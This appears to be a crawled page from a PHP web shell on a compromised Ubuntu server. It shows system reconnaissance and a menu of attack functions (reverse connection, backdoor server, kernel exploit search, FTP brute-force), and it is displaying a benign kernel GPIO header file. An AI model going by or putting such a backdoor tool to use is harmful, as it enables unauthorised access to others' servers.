|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 21.92 GB of 70.42 GB (31.13%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
src/
linux-headers-3.0.0-14/
arch/
mips/
include/
asm/
mach-bcm47xx/
- drwxr-xr-x
|
Viewing file: gpio.h (1.53 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
/* * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 2007 Aurelien Jarno <aurelien@aurel32.net> */
#ifndef __BCM47XX_GPIO_H #define __BCM47XX_GPIO_H
#include <linux/ssb/ssb_embedded.h> #include <asm/mach-bcm47xx/bcm47xx.h>
#define BCM47XX_EXTIF_GPIO_LINES 5 #define BCM47XX_CHIPCO_GPIO_LINES 16
extern int gpio_request(unsigned gpio, const char *label); extern void gpio_free(unsigned gpio); extern int gpio_to_irq(unsigned gpio);
static inline int gpio_get_value(unsigned gpio) { return ssb_gpio_in(&ssb_bcm47xx, 1 << gpio); }
static inline void gpio_set_value(unsigned gpio, int value) { ssb_gpio_out(&ssb_bcm47xx, 1 << gpio, value ? 1 << gpio : 0); }
static inline int gpio_direction_input(unsigned gpio) { ssb_gpio_outen(&ssb_bcm47xx, 1 << gpio, 0); return 0; }
static inline int gpio_direction_output(unsigned gpio, int value) { /* first set the gpio out value */ ssb_gpio_out(&ssb_bcm47xx, 1 << gpio, value ? 1 << gpio : 0); /* then set the gpio mode */ ssb_gpio_outen(&ssb_bcm47xx, 1 << gpio, 1 << gpio); return 0; }
static inline int gpio_intmask(unsigned gpio, int value) { ssb_gpio_intmask(&ssb_bcm47xx, 1 << gpio, value ? 1 << gpio : 0); return 0; }
static inline int gpio_polarity(unsigned gpio, int value) { ssb_gpio_polarity(&ssb_bcm47xx, 1 << gpio, value ? 1 << gpio : 0); return 0; }
/* cansleep wrappers */ #include <asm-generic/gpio.h>
#endif /* __BCM47XX_GPIO_H */
|